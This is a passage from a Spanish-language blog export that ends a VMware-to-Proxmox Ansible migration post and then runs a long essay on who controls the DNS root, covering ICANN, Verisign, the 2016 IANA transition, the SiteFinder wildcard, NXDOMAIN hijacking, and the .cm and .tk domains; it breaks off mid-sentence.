bloque groups.\nComprueba a qué estás apuntando antes de apuntar a ello:\nansible-inventory --graph ansible-inventory --host some-vm Lo que aún vigilaría Cosas que espero encontrar cuando esto se tope con un parque real, escritas ahora para que no pueda afirmar después que las vi venir:\nLos invitados Windows no arrancarán limpiamente desde una controladora VirtIO SCSI sin que el driver esté presente primero. virtio-scsi-single es la controladora correcta y la equivocada que entregar a una VM de Windows que nunca la ha visto. Ese es todo un problema por sí mismo y no lo resuelve nada de lo de arriba. VMware Tools debería quitarse antes de la mudanza, no después. Instantáneas. Una VM con una cadena de instantáneas tiene más de un .vmdk por disco e importar la base te da el estado anterior a la instantánea. Consolida primero. El orden de config.hardware.device es lo que decide qué disco se convierte en scsi0. Ha casado con el propio orden del invitado en todas partes donde he mirado, pero lo comprobaría en un servidor de base de datos de varios discos antes de fiarme de ello en una ventana. Los discos independientes y RDM no harán storage-vMotion como los ordinarios. Nada de eso cambia la forma. Construye las carcasas primero, mueve los discos mientras todo sigue en marcha, y mantén el corte al único play que lo necesita.\n","permalink":"https://blogs.damiendye.uk/es/ansible/vmware-to-proxmox-ansible/","summary":"Leer un parque vSphere con el inventario dinámico, reflejar sus VLAN en el SDN de Proxmox, y reconstruir cada VM como una carcasa sin disco antes de que se mueva un solo disco. Por qué cada módulo de info de VMware esconde el único campo que la migración necesita, por qué vlan_id son tres tipos distintos, y por qué un export NFS montado dos veces convierte la conmutación en una lectura local.","title":"De VMware a Proxmox con Ansible — construye las carcasas antes de mover un byte"},{"content":"Fui administrador de sistemas del registro DNS en Nominet, el registro .uk, de 2017 a 2019. Lo que sigue sobre la ICANN es todo de dominio público y lo he enlazado entero. Donde hablo desde el puesto en su lugar, lo digo.\nPregúntale a la mayoría de los ingenieros quién hace funcionar el DNS y obtienes una de dos respuestas. O un encogimiento de hombros, o algo sobre trece servidores raíz. Las dos son erróneas, y la segunda es errónea de una forma más interesante, porque apunta a las máquinas en vez de al fichero.\nEl control del DNS no está distribuido entre trece servidores. Se sienta en un solo fichero de texto, y en el puñado de estructuras que deciden lo que entra en él, lo editan, lo firman y lo publican. Todo lo demás del sistema — cada resolutor, cada registrador, cada zona que hayas hecho funcionar nunca — está aguas abajo de ese fichero y saca de él su autoridad.\nEste artículo trata de quién tiene ese fichero, de qué transfirió realmente la entrega de 2016, y de qué han hecho con él quienes lo tienen. La maquinaria de debajo — qué es realmente un registro, cómo entran los nombres en él, y quién puede quitar uno — es la continuación.\nAntes de la ICANN, era una llamada de teléfono Nada del arreglo actual es inevitable, y la historia dice para qué se construyó realmente la ICANN.\nAl principio no había DNS en absoluto. Desde 1972 había un solo fichero de texto, HOSTS.TXT, que tenía cada nombre de máquina de ARPANET y la dirección donde vivía. Lo guardaban en el Stanford Research Institute Elizabeth Feinler y su equipo, y si querías tu máquina dentro, llamabas al Network Information Center en horario de oficina y lo pedías. Todos los demás recogían el fichero de vez en cuando y esperaban que estuviera al día.\nEso no escala, y a principios de los años 1980 claramente ya no lo estaba. El DNS se construyó para reemplazarlo — un árbol, delegado hacia abajo, para que ninguna oficina sola tuviera que tener la lista entera.\nAlguien todavía tenía que tener la cima del árbol. Durante años ese alguien fue un solo hombre. Jon Postel, en la University of Southern California, gestionaba las asignaciones de nombres y números con dinero de investigación del gobierno estadounidense. La IANA — la Internet Assigned Numbers Authority — no era una institución en ese momento. Era Postel y un puñado de colegas, y funcionaba porque la gente que hacía funcionar la red se fiaba de él.\nEl dinero llegó en 1993, cuando la National Science Foundation contrató a InterNIC — Network Solutions entre ellos — para encargarse del registro. El 14 de septiembre de 1995 el registro gratuito terminó. Network Solutions cobraba $50 al año sobre un mínimo de dos años, y el 30 % iba a un fondo gubernamental que un tribunal más tarde juzgó un impuesto ilegal. Una empresa, un precio, ningún otro sitio a donde ir, y ya en 1997 una demanda antimonopolio.\nLuego, en enero de 1998, Postel hizo la cosa que te dice de qué está hecha realmente la autoridad de la raíz.\nEscribió un correo a ocho de los doce operadores de servidores raíz, sobre nada más que su propia estatura, y les pidió que apuntaran sus servidores a la máquina de la IANA en vez de a la de Network Solutions. Los ocho lo hicieron. Durante una semana más o menos, la raíz con autoridad de la internet estuvo donde Jon Postel había pedido a la gente que mirara.\nLo llamó una prueba. Mucha gente lo leyó como una demostración — que la raíz pertenecía a los ingenieros que la habían construido en vez de a un contratista del gobierno. La reacción zanja qué lectura retuvo Washington. Ira Magaziner, el asesor presidencial en el asunto, le dijo a Postel que no volvería a trabajar en la internet nunca más. La prueba se revirtió.\nLa ICANN se constituyó en California en septiembre de ese año. Postel murió al mes siguiente.\nAsí que el arreglo del que trata este artículo se construyó para corregir dos problemas reales: un espacio de nombres vendido por un monopolista sin cuentas que rendir, y una raíz cuya autoridad descansaba sobre la confianza ampliamente concedida a un solo hombre. Los dos eran problemas reales. La ICANN fue la respuesta a ellos.\nDos códigos que sobrevivieron a la regla Dos cabos sueltos de aquella época antes de seguir, porque entre los dos dicen más sobre cómo funciona de verdad este sistema que cualquier cosa de los estatutos de la ICANN.\nEl Reino Unido tomó el código equivocado y se lo quedó.\nEl RFC 920, en octubre de 1984, decía que los dominios de primer nivel de país se tomarían de los códigos de dos letras de la ISO 3166. El código ISO 3166 del Reino Unido es GB. Por la regla tal como está escrita, el dominio del Reino Unido debería ser .gb.\nNo lo es, porque el Reino Unido llegó primero. JANET, la red universitaria, ya se había fijado en uk como identificador de primer nivel unos meses antes de que se trazara la lista derivada de la ISO, y .uk se registró el 24 de julio de 1985. .gb también se asignó, con el entendido de que .uk migraría a él con el tiempo.\nLa migración nunca ocurrió. Nadie la hizo ocurrir. .gb luego se sentó en la raíz durante cuatro décadas tras haber recogido, en toda su vida, un solo dominio de segundo nivel — hmg.gb, para Her Majesty\u0026rsquo;s Government — que apenas se usaba. La ISO acabó plegándose ante el hecho consumado y reservó excepcionalmente UK a petición del Reino Unido.\nA nadie le robaron, por cierto. UK no era el código de otro país — está reservado excepcionalmente en la ISO 3166 para el Reino Unido, a petición del propio Reino Unido, y ningún otro Estado tuvo nunca una pretensión sobre él. Eso es exactamente por lo que nadie forzó la cuestión: no había parte perjudicada que se quejara.\nQue es lo que hace que valga la pena contarlo. La regla de la ISO 3166 es rígida para cualquiera que intente entrar: sin entrada en la lista, sin dominio de código de país. Por eso los territorios presionan para que se les añada a la ISO 3166 en primer lugar, y por eso los lugares sin reconocimiento no tienen ccTLD en absoluto. Para un titular ya en la raíz, la misma regla resultó ser una sugerencia.\nHay incluso un argumento justo de que el Reino Unido acabó con el mejor nombre. GB es Great Britain, lo que deja fuera a Irlanda del Norte. UK no. El código no conforme describe el Estado con más fidelidad de lo que lo habría hecho el conforme.\nY la Unión Soviética todavía está en la raíz. Este es más extraño.\n.su se delegó a la Unión Soviética el 19 de septiembre de 1990. La Unión Soviética dejó de existir quince meses después.\nTodavía está ahí. Treinta y cinco años después de que el Estado al que pertenece dejara de existir, .su está vivo y tomando registros — algo más de 111 500 nombres en mayo de 2025, administrado desde Moscú.\nLa regla dice que los ccTLD vienen de la ISO 3166. La ISO 3166 no lista la Unión Soviética. Y no es como si la regla nunca se hubiera aplicado: .dd para Alemania del Este y .yu para Yugoslavia se fueron los dos cuando esos Estados se fueron. .su fue el que no se fue, y nadie ha podido nunca explicar la diferencia en términos de la regla.\nEn qué se convirtió es bastante predecible. Cuando .ru apretó sus verificaciones de registro a finales de 2011, el comercio se mudó al lado. Los sitios maliciosos en .su se duplicaron en 2011 y se volvieron a duplicar en 2012, que es la misma historia que los nuevos gTLD baratos y los ccTLD gratuitos más adelante en este artículo: el abuso es un fluido, y corre hacia donde las verificaciones son más débiles.\nDos códigos de país, entonces, que sobrevivieron a la regla que los produjo. .uk porque nadie hizo mover a un titular, .su porque nadie hizo irse una delegación cuando su país se fue. En ambos casos el reglamento es claro y en ambos casos quedó sin aplicar, porque aplicarlo habría significado quitarle algo a alguien que ya lo tenía.\nEse es todo el carácter de la autoridad en el DNS, visible antes de que la ICANN existiera, y como tal nada de lo que sigue debería sorprenderte.\nEn qué resultó ser esa respuesta es el resto de este artículo.\nLos dieciocho años hasta la entrega La ICANN se constituyó en California el 30 de septiembre de 1998 e inmediatamente firmó un Memorandum of Understanding con el Department of Commerce estadounidense. No empezó independiente para volverse estadounidense. Fue estadounidense desde el primer día, por construcción, y el arreglo se renovó de una forma u otra durante dieciocho años.\nEmpieza por lo que hizo bien, porque hay una cosa y cuenta.\nEn 1999 la ICANN rompió el monopolio del registro. Network Solutions había sido el único sitio donde comprar un .com; el Shared Registration System dejó que otros registradores vendieran nombres en la misma zona, y el precio bajó y siguió bajando. Ese es un logro real, es la razón por la que un dominio cuesta lo que cuesta hoy, y nada más adelante en este artículo lo anula.\nLuego empieza el patrón que recorre todo lo demás.\n2000. La ICANN celebró una elección mundial en la que los usuarios de la internet eligieron a cinco miembros del consejo directamente. Nunca se repitió. La estructura «at-large» que la reemplazó aconseja y no vota. La primera y la última vez que el público tuvo una palabra vinculante ante la ICANN, la ICANN la suprimió.\n2005. En el World Summit on the Information Society en Túnez, una gran parte del mundo objetó a que los Estados Unidos tuvieran la raíz. Lo que salió fue el Internet Governance Forum — una conferencia anual sin autoridad sobre nada. El arreglo de la raíz no cambió.\n2005. El asunto .xxx, que duró seis años y es la prueba única más nítida de todo este artículo de que la jurisdicción no es abstracta. Grupos de presión socialmente conservadores en los Estados Unidos presionaron al Department of Commerce. La NTIA — la National Telecommunications and Information Administration, el brazo del Commerce que tenía el acuerdo con la ICANN — redactó cartas a la ICANN y, según sus propias palabras, movilizó sus recursos ante la ICANN. El consejo — que se encaminaba hacia la aprobación — rechazó la solicitud, nueve votos contra cinco, y luego de nuevo ocho contra cuatro, con el presidente y el director general invirtiendo los dos su posición. Viviane Reding, entonces la comisaria europea responsable, lo llamó el primer caso claro de injerencia política en la ICANN por parte del gobierno estadounidense. .xxx se aprobó finalmente en 2011, momento en que el Department of Commerce anunció que estaba decepcionado.\nUna campaña de presión interna estadounidense, encauzada a través de una agencia federal estadounidense, cambió qué dominios de primer nivel existen en la internet. Sin tratado, sin tribunal, sin voto fuera de los Estados Unidos.\n2009. El Joint Project Agreement con el Commerce se reemplazó por la Affirmation of Commitments, presentada ampliamente como la ICANN volviéndose independiente. El contrato de las funciones IANA se quedó exactamente donde estaba.\nLuego la cosa que de verdad lo movió, y no fue nada que la ICANN hiciera.\n2013. Edward Snowden. El 7 de octubre, meses después del inicio de las revelaciones, los dirigentes de la ICANN, de la Internet Engineering Task Force, del Internet Architecture Board (IAB), del World Wide Web Consortium, de la Internet Society y de los cinco registros de internet regionales publicaron la declaración de Montevideo, pidiendo la mundialización de la ICANN y las funciones IANA y citando, con todas las letras, los daños que la vigilancia generalizada había hecho a la confianza mundial. La propia dirección técnica de la internet — el director general de la ICANN entre los firmantes — dijo en voz alta que la tutela estadounidense se había vuelto un lastre.\n14 de marzo de 2014. La NTIA anunció su intención de transferir su tutela de las funciones IANA.\n1 de octubre de 2016. El contrato expiró.\nAsí que la entrega no se ganó ni se concedió por sus méritos. Se concedió, dieciocho años después, porque un escándalo de inteligencia estadounidense hizo el arreglo existente políticamente indefendible y la comunidad técnica lo dijo en público.\nLo que vale la pena tener presente cuando lees lo que la transición hizo realmente.\nQué cambió la transición de 2016, y qué no Oirás que los estadounidenses entregaron la internet en 2016. A cualquiera que sostenga que la ICANN es un instrumento del control estadounidense se lo replican, y si tiene los datos equivocados pierde el argumento ahí. Así que tenlos correctos.\nEl 1 de octubre de 2016 el contrato de las funciones IANA entre la NTIA y la ICANN expiró y no se renovó. Eso fue real. El gobierno estadounidense ya no tiene un contrato que le dé aprobación sobre los cambios de la zona raíz, y unos nuevos estatutos crearon una Empowered Community con la capacidad teórica de rechazar presupuestos y retirar miembros del consejo.\nAquí está lo que no cambió, y no fue un descuido. Se escribió como un objetivo.\nLa propuesta de transición afirmaba que la jurisdicción legal en la que reside la ICANN debía quedar sin cambios. Los nuevos estatutos exigen que la ICANN siga con sede en California. Toda la estructura de rendición de cuentas construida durante la transición está construida sobre el derecho californiano. Funciona haciendo de la ICANN una organización sin ánimo de lucro californiana a la que los tribunales californianos pueden ser llamados a hacer cumplir sus propios artículos.\nAsí que después de la gran entrega: la ICANN es una sociedad californiana, sujeta al derecho federal estadounidense y californiano, cuyos mecanismos de rendición de cuentas son ejecutables ante tribunales estadounidenses y en ningún otro sitio, fijando la política de una zona raíz editada y firmada por una empresa estadounidense bajo un acuerdo con el Department of Commerce estadounidense.\nEl contrato se fue. La jurisdicción se guardó deliberadamente. Y la jurisdicción es la parte que tiene dientes, porque no exige que nadie intervenga. Se aplica automáticamente, todo el tiempo, por defecto.\nLa demostración más nítida son las sanciones. La OFAC — la Office of Foreign Assets Control, parte del Tesoro estadounidense — gestiona las sanciones económicas y comerciales estadounidenses, y decide con quién tienen derecho a hacer negocios las personas y empresas estadounidenses. La ICANN es una sociedad californiana, así que la OFAC la ata, y eso restringe con quién puede la ICANN contratar y a quién puede acreditar.\nSé preciso sobre el alcance: eso llega a los registros y registradores de dominios de primer nivel genéricos (gTLD), porque esos tienen contratos con la ICANN. No llega a las operaciones de código de país (ccTLD), que se sientan enteramente fuera de la estructura contractual de la ICANN. Pero el efecto se filtra bastante más allá de la frontera legal, porque registradores fuera de los Estados Unidos han aplicado las restricciones de la OFAC a sus propios clientes bajo la suposición errónea de que tener un contrato con la ICANN lo exige, o simplemente copiando contratos de registro estadounidenses. La política exterior estadounidense se propaga por la cadena de registradores por imitación tanto como por la ley.\nNo hay ninguna versión de esto en la que la respuesta a «quién controla el DNS» no empiece por los Estados Unidos.\nA quién deja eso en condiciones de hacer algo contra una decisión de la ICANN es la otra mitad de la pregunta, y se pregunta mejor una vez que hay un registro contra el que ponerla a prueba. Este artículo vuelve a ella al final.\nLa raíz es un fichero de texto Hasta aquí quién manda. Aquí está la cosa que mandan, y puedes simplemente recogerla. La ICANN publica la zona raíz por transferencia de zona — AXFR, el mecanismo DNS para copiar una zona entera en vez de un registro — a quien lo pida, sin credenciales:\ndig . AXFR @xfr.dns.icann.org Ahora mismo eso son 1 578 790 bytes en 24 886 líneas. Contiene 1 439 delegaciones — cada dominio de primer nivel que existe — de las cuales 1 350 llevan un registro DS — el delegation signer, la huella que ata la clave de firma de una zona hija a su padre — y forman por tanto parte de la cadena firmada.\nUn megabyte y medio. Todo el espacio de nombres de la internet, lo bastante pequeño para enviarlo por correo.\nEse fichero es toda la autoridad de la raíz. Un resolutor que arranca en frío no sabe nada salvo las direcciones de sus pistas de raíz, y en el instante en que obtiene una respuesta va siguiendo delegaciones sacadas de ese fichero y de ningún otro sitio. Cambia una delegación dentro y has cambiado a dónde va el tráfico de un país entero. No hay una segunda copia con una opinión distinta, ni protocolo de consenso, ni voto en el momento de la resolución. Está el fichero.\nAsí que la pregunta «quién controla el DNS» se reduce a una mucho más estrecha: quién puede cambiar ese fichero, y quién lo firma después.\nTres organizaciones lo tocan La respuesta es una cadena de tres, y vale la pena ser claro sobre quién hace qué, porque las distinciones son donde viven todos los argumentos.\nPTI — Public Technical Identifiers, una filial de la ICANN — cumple las funciones IANA. Recibe las solicitudes de cambio de la zona raíz de los operadores de TLD, las verifica y las autoriza. Esta es la capa administrativa, y deliberadamente: toda la intención de diseño es que la IANA sea un oficinista cuidadoso sin poder de apreciación.\nVerisign es el Root Zone Maintainer. Toma el cambio autorizado, edita el fichero de zona, lo firma con la clave de firma de la zona raíz, y lo publica para su distribución. Verisign es una empresa estadounidense cotizada, y lo hace bajo un Cooperative Agreement con el Department of Commerce estadounidense.\nLos operadores de servidores raíz luego lo sirven. Son la parte menos poderosa de la cadena y la única de la que alguien ha oído hablar.\nFíjate dónde se sienta realmente el poder de apreciación. No en los operadores. No de verdad en el oficinista. Se sienta en quien fija la política que el oficinista aplica, que es la ICANN, y en la empresa que tiene la pluma y la clave de firma, que es Verisign, bajo un acuerdo con el gobierno estadounidense.\nDiez de los trece Las letras de los servidores raíz valen la pena listarlas enteras, porque la gente cita el número trece como si implicara dispersión:\nLetra Operador País A Verisign US B USC Information Sciences Institute US C Cogent Communications US D University of Maryland US E NASA Ames Research Center US F Internet Systems Consortium US G US Department of Defense (DISA) US H US Army Research Laboratory US I Netnod Suecia J Verisign US K RIPE NCC Países Bajos L ICANN US M WIDE Project Japón Trece letras, doce organizaciones, porque Verisign tiene la A y la J. Diez de los trece se operan desde los Estados Unidos. Dos de ellos son el ejército estadounidense.\nEso no es una conspiración, es historia fosilizada. Son las instituciones que estaban en la red en los años 1980 y nunca se fueron. Pero un accidente de la historia que deja al ejército estadounidense haciendo funcionar dos de los servidores raíz de la internet sigue siendo el ejército estadounidense haciendo funcionar dos de los servidores raíz de la internet, y es una cosa extraña de describir como un sistema mundial.\nLos operadores tampoco tienen ningún contrato significativo que los ate. La ICANN no los emplea y no puede, de ninguna forma sencilla, retirarlos. Sirven la raíz porque siempre lo han hecho. La estabilidad del sistema en esta capa descansa sobre la buena voluntad y sobre nada más sólido, lo que funciona hasta el día en que no funciona.\nLa ICANN no hace funcionar la zona raíz Este es el hecho más importante del artículo y casi nunca se dice en voz alta, así que tiene su propio título.\nLa ICANN no opera la zona raíz.\nDecide lo que debería ir en ella. No edita el fichero, no firma el fichero, y no sirve el fichero. Verisign edita y firma. Doce organizaciones sirven. El trabajo de la ICANN es decir cuál debería ser la respuesta, y luego conseguir que otro la haga realidad.\nEsa separación es la única cosa que tiene a la ICANN a raya.\nImagínala sin la separación. Un solo organismo fija la política, tiene la pluma, posee la clave de firma y hace funcionar los servidores. Entre decidir una cosa y que esa cosa sea verdad en toda la tierra, no hay otra parte, ni un segundo par de manos, ni nadie en posición de decir que no. Lo que pienses del registro de la ICANN de más abajo, ese arreglo sería peor.\nTal como está, hay tres frenos. Ninguno de ellos está en un estatuto.\nEl fichero es público. Cualquiera puede tirar de la zona raíz por AXFR — el comando está en lo alto de este artículo — y compararla con la de ayer. No puedes cambiar una delegación a escondidas. Otro tiene que hacer el cambio. El mantenedor hace la edición y la firma. Es una organización más que tiene que aceptar hacerlo, y una más que podría negarse. Los operadores sirven por consentimiento. Como arriba, la ICANN no tiene un contrato significativo con los operadores de servidores raíz. Distribuyen la zona porque siempre lo han hecho. Nada les obliga a distribuir nada — y como Postel mostró en 1998, el consentimiento es movible por alguien en quien confían que lo pide amablemente. El último es el verdadero recurso de emergencia, y se ha usado un nivel más abajo en tiempos de la memoria viva. Cuando Verisign puso un comodín en .com en 2003, el Internet Systems Consortium (ISC) entregó delegation-only en BIND y los operadores simplemente dejaron de honrar las respuestas. Nadie tuvo que ganar un argumento en un foro de política. La capacidad de la comunidad técnica de negarse no está escrita en ningún sitio y todos los implicados saben que está ahí.\nAhora la parte incómoda, porque esto es más fino de lo que suena.\nNadie diseñó este freno. No es una separación de poderes, es un accidente de cómo se dividió el trabajo en los años 1990, y la transición de 2016 ni lo reforzó ni lo puso por escrito. No hay regla que diga que el organismo que fija la política no pueda un día también tener la pluma.\nY la parte que hace la verificación es una empresa comercial con la que la ICANN hace negocios. Verisign tiene el rol de mantenedor de la zona raíz, y el contrato .com, y — como el resto de este artículo expone — un acuerdo de 20 millones de dólares con la ICANN firmado en la misma negociación que una subida de precio de .com. Un freno que depende de que una parte esté dispuesta a negarse a la otra deja de funcionar una vez que las dos firman cosas juntas.\nAsí que la separación es lo mejor del arreglo actual. También es no escrita, no planeada, y sostenida por la costumbre.\nVender el espacio de nombres Antes de todo el argumento de gobernanza, algo más simple muestra lo que hace la gente que tiene un trozo del espacio de nombres cuando nada la para. Ha pasado repetidamente, en cada capa, y la primera vez que pasó en la cima duró diecinueve días.\nEl 15 de septiembre de 2003 Verisign añadió un registro A comodín a las zonas .com y .net:\n*.com. IN A 64.94.110.11 Esa dirección se revierte a sitefinder.verisign.com. Desde ese momento, cada nombre en .com y .net existía. Cada errata, cada dominio sin registrar, cada cadena malformada, cada nombre expirado — todos se resolvían, a una página de búsqueda de Verisign que llevaba la publicidad de Verisign.\nPor qué esto no es una historia de publicidad Las quejas de la época eran en su mayoría sobre los anuncios, y erraban el punto. NXDOMAIN no es una función de experiencia de usuario. Es una señal de protocolo de carga, y una cantidad enorme de software por encima del DNS está construido sobre la capacidad de preguntar «¿existe este nombre?» y obtener una respuesta veraz.\nBorra la respuesta negativa y las cosas se rompen de formas que nada tienen que ver con los navegadores.\nEl correo fue lo peor de ello, y es la parte que la gente todavía se equivoca. Verisign no publicó un registro MX comodín. No lo necesitaba. El RFC 5321 §5.1 dice que cuando una búsqueda MX no devuelve nada, el emisor recae en el registro de dirección del dominio y lo trata como un MX implícito de preferencia 0. Verisign acababa de darle a cada dominio inexistente en .com un registro de dirección. Así que cada MTA de la internet — cada mail transfer agent, cada máquina que retransmite correo — siguiendo el estándar correctamente, tenía ahora un intercambiador de correo para soemcompany.com — y era la máquina de Verisign.\nConéctate al puerto 25 y respondía:\n220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready La intención declarada de Verisign era bastante razonable: rechazar el correo de inmediato para que no se quedara en colas por todo el mundo. La implementación no lo era. Snubby solo se rendía después de que el MTA emisor hubiera transmitido el cuerpo del mensaje, y devolvía un código que la mayoría de los MTA leen como un fallo transitorio — así que en vez de un rebote instantáneo, el correo a direcciones mal tecleadas se reintentaba durante días antes de morir. Verisign lo cambió más tarde por un respondedor basado en Postfix después de que los operadores se quejaran en la lista NANOG.\nEl antispam se rompió al mismo tiempo, y más discretamente. Verificar si el dominio de un emisor existe de verdad era, y sigue siendo, una de las heurísticas de filtrado más baratas y eficaces disponibles. De la noche a la mañana, cada dominio de los dos TLD más grandes existía. La verificación devolvía verdadero para todo y dejaba de discriminar.\nY todo lo demás que habla DNS pero no HTTP — relés de correo, clientes FTP, impresoras en red, sistemas de monitorización — dejó de obtener «no such host» y empezó a obtener un servidor web, lo que se manifestó sobre todo en tiempos de espera y bloqueos en vez de fallos limpios. Un nombre muerto ahora parecía un servicio roto.\nUna empresa añadió un registro a un fichero de zona y cambió la semántica de fallo de la internet.\nQué lo paró No la gobernanza. La ingeniería, y luego una amenaza.\nEl ISC entregó una función delegation-only en BIND en cuestión de días, dejando a los operadores descartar las respuestas sintetizadas de las zonas TLD — la comunidad técnica rodeando al registro en vez de apelar a nadie. Muchos ISP la desplegaron.\nLa ICANN pidió a Verisign que suspendiera el servicio. El 21 de septiembre Verisign se negó. La ICANN entonces lo exigió el 3 de octubre, con las consecuencias contractuales hechas explícitas, y Verisign retiró los registros el 4 de octubre de 2003. El IAB publicó su objeción arquitectónica a los comodines de registro, y el propio Security and Stability Advisory Committee de la ICANN informó el 9 de julio de 2004 de que el servicio nunca debería haberse desplegado sin revisión y que los registros deberían retirar los comodines progresivamente.\nLuego Verisign demandó a la ICANN, el 27 de febrero de 2004, argumentando que la ICANN se había excedido en su autoridad al pararlo. El caso se desestimó en su mayor parte aquel agosto, y el resto se zanjó el 1 de marzo de 2006 — un acuerdo que le dio a Verisign un nuevo acuerdo de registro .com.\nLee esa secuencia una vez más. El registro monetizó el espacio de nombres que estaba contratado para operar, se negó a parar, fue forzado a parar, demandó al organismo que lo forzó, y salió del acuerdo con un contrato renovado para el TLD más valioso que existe. Todavía lo tiene. Es la misma empresa que hoy edita y firma la zona raíz.\nLuego todos los demás lo hicieron de todos modos Parar al registro no paró la idea, solo la movió un salto más abajo. Si el servidor con autoridad no quiere mentir sobre la inexistencia, el resolutor lo hará.\nDesde agosto de 2006 Earthlink empezó a redirigir las respuestas NXDOMAIN a Barefruit, sirviendo páginas de búsqueda y anuncios. Paxfire vendía lo mismo, y además redirigía ciertas palabras clave tecleadas a anunciantes que pagaban. El «Domain Helper» de Comcast lo hacía a gran escala. En el Reino Unido, BT y Virgin Media lo hacían los dos. La economía es irresistible desde el lado de un ISP: los dominios mal tecleados son inventario gratis generado por los dedos de tus propios clientes.\nLos modos de fallo eran peores que los de Verisign, porque un resolutor ve cada consulta, no solo un TLD. La implementación de Barefruit secuestraba NXDOMAIN para el espacio de direcciones privado, rompiendo las búsquedas de horizonte partido y el comportamiento de las VPN en las redes de empresa. Dan Kaminsky demostró cross-site scripting (XSS) contra las propias páginas de redirección, porque ahora cada nombre de host inexistente del mundo se resolvía a HTML alcanzable por un atacante, servido en un contexto que el navegador asociaba al dominio de otro. Monetizar el caso de error había convertido una búsqueda fallida en una superficie XSS.\nEl arreglo del protocolo Dos cosas lo cerraron, y las dos valen la pena señalarlas porque son la forma de cada arreglo real en el DNS: hacer la mentira detectable, luego hacerla contractual.\nDNSSEC provee la negación de existencia autenticada. Los registros NSEC y NSEC3 dejan a una zona firmada probar que un nombre no existe, y un resolutor validador rechazará una respuesta sintetizada en su lugar. La inexistencia dejó de ser la única respuesta que nadie podía verificar. No es hermético — un resolutor que quita las firmas al pasar todavía puede reescribir la respuesta, que es exactamente por lo que validar en el cliente en vez de fiarse del resolutor importa, y es el argumento que este sitio ya ha expuesto largamente.\nY la ICANN, para su crédito, sí aprendió esta. La Especificación 6 del nuevo acuerdo de registro de gTLD prohíbe rotundamente los comodines, los registros sintetizados y la redirección para nombres sin registrar, y exige que los servidores con autoridad devuelvan Name Error, RCODE 3. Cada una de las 1 200 cadenas de la ronda de 2012 está contractualmente impedida de hacer lo que Verisign le hizo a .com.\nEsa es una mejora real, y vale la pena ser exacto sobre lo que la produjo: no el proceso de gobernanza, sino diecinueve días de rotura visible en 2003 lo bastante embarazosos como para escribirse en un contrato una década después.\nY nada de eso tocó los códigos de país La Especificación 6 ata a los gTLD. Los ata porque firman un acuerdo de registro con la ICANN, y ese acuerdo es la palanca.\nUn ccTLD no firma nada por el estilo. Sin acuerdo de registro, sin Especificación 6, sin función de cumplimiento, sin cuota. Nada en el reglamento de la ICANN rige cómo un registro de código de país opera su zona — que es por lo que las dos cosas de abajo eran posibles, y por lo que nadie estaba en posición de pararlas.\nEso no es lo mismo que decir que la ICANN está ausente, y quiero ser preciso sobre dónde se sienta, porque pasé dos años recibiendo el efecto.\nLo que la ICANN tiene sobre un ccTLD es la delegación en sí. Cada registro NS, cada pieza de glue, cada registro DS y cada cambio de contacto para .uk vive en la zona raíz, y la única vía hacia la zona raíz es una solicitud de cambio IANA — verificada contra los contactos administrativo y técnico registrados, y procesada en el calendario de la IANA en vez del tuyo. Bajo el RFC 1591 la IANA también decide, en última instancia, quién tiene la delegación siquiera. Las redelegaciones son raras. No son hipotéticas.\nAsí que un registro de código de país es soberano sobre cómo funciona, y completamente dependiente de un tercero para todo lo que tenga que ser visible en la raíz. Los momentos en que más necesitas que un cambio aterrice — un servidor de nombres que se muda, un cambio de clave cuyo DS tiene que publicarse antes de que se vaya el viejo — son exactamente los momentos en que estás esperando en la cola de otro. Esa es una dependencia operativa viva en vez de una abstracción de gobernanza, y es un tema para la continuación.\nAhora fíjate en lo que produce esa combinación. El agarre de la ICANN sobre un ccTLD es apretado precisamente donde estorba a un registro que se porta bien, y ausente precisamente donde podría haber frenado a uno que no. Puede retenerte tu registro DS. No pudo impedir que Camerún apuntara todo un dominio de primer nivel a una página de publicidad.\nAsí que la práctica nunca paró. Solo se mudó a algún sitio donde el contrato no llegaba.\nCamerún puso un comodín en todo un dominio de primer nivel para cosechar erratas.\nEn agosto de 2006 el registro .cm apuntó cada nombre sin registrar de la zona a una página de aparcamiento de enlaces de búsqueda pagados. No hay nada sutil en la jugada: .cm es .com con la o fallada, así que el mercado objetivo era la tasa de dedos gordos del TLD más grande que existe, y el operador era una agencia gubernamental — ANTIC, bajo el Ministerio de Correos y Telecomunicaciones de Camerún.\nPagaba bien. NameJet informó de más de $500 000 de ventas de .cm el primer día y más de 2 millones de dólares en la primera semana; hotels.cm se fue por $81 100 en 2009. También hizo exactamente lo que esperarías a la seguridad de la zona, porque el tráfico entrante de erratas es el canal de entrega ideal para una descarga hostil. En diciembre de 2009 McAfee calificó .cm el TLD más arriesgado del mundo, con el 36,7 % de sus sitios evaluados como que suponen un riesgo.\nA Verisign lo forzaron a deshacer el mismo truco en diecinueve días. Camerún lo hizo funcionar durante años. La diferencia no es que uno fuera peor. La diferencia es que uno había firmado un contrato.\nTokelau se convirtió en el mayor dominio de código de país de la tierra regalando nombres.\nTokelau es un territorio neozelandés del Pacífico Sur con una población de unas 1 500 personas. Su ccTLD, .tk, lo operaba Freenom, que regalaba los registros por nada. En 2016 era el dominio de código de país más registrado del mundo con 31 311 498 nombres — una cifra que viene, da la casualidad, de un mapa del mundo publicado por Nominet.\nGratis no era gratis. Los términos de Freenom exigían que un dominio gratis llevara tráfico regular, y preveían que si la redirección dejaba de funcionar — o si el nombre empezaba a atraer visitantes que valieran la pena — el registro podía recuperarlo y servir su propia publicidad en él. Ese es todo el modelo de negocio, y es más elegante que el de Verisign. No intentes adivinar qué nombres son valiosos. Regala todo el espacio de nombres a coste marginal cero, deja que el mundo descubra los valiosos por ti, luego recupera esos y monetiza el tráfico. Alrededor de un sexto de los ingresos anuales de Tokelau venían de ello.\nLa externalidad aterrizó sobre todos los demás. El registro gratis sin verificación es la entrada ideal para el abuso en masa — la misma economía que los nuevos gTLD baratos, llevada hasta el cero. Para cuando Meta presentó demanda, los cinco ccTLD gratuitos de Freenom — .tk, .ml, .ga, .cf, .gq — eran la fuente de más de la mitad de todos los nuevos dominios de phishing que salían de los TLD de código de país.\nQué lo paró es la parte que cuenta aquí.\nNo la ICANN, que no tenía contrato ni legitimación. No Tokelau, que cobraba un sexto de sus ingresos nacionales. No Nueva Zelanda. Los abogados de Meta, en el Northern District of California, en marzo de 2023, sobre alegaciones de cybersquatting y de marca.\nFreenom paró los nuevos registros en cuestión de días. El phishing procedente de esas extensiones cayó de más del 60 % a menos del 15 %. Freenom llegó a un acuerdo en febrero de 2024 y dejó el negocio de los dominios, y para ese marzo alrededor de 12,6 millones de dominios — el 99 % de su cartera — habían dejado de 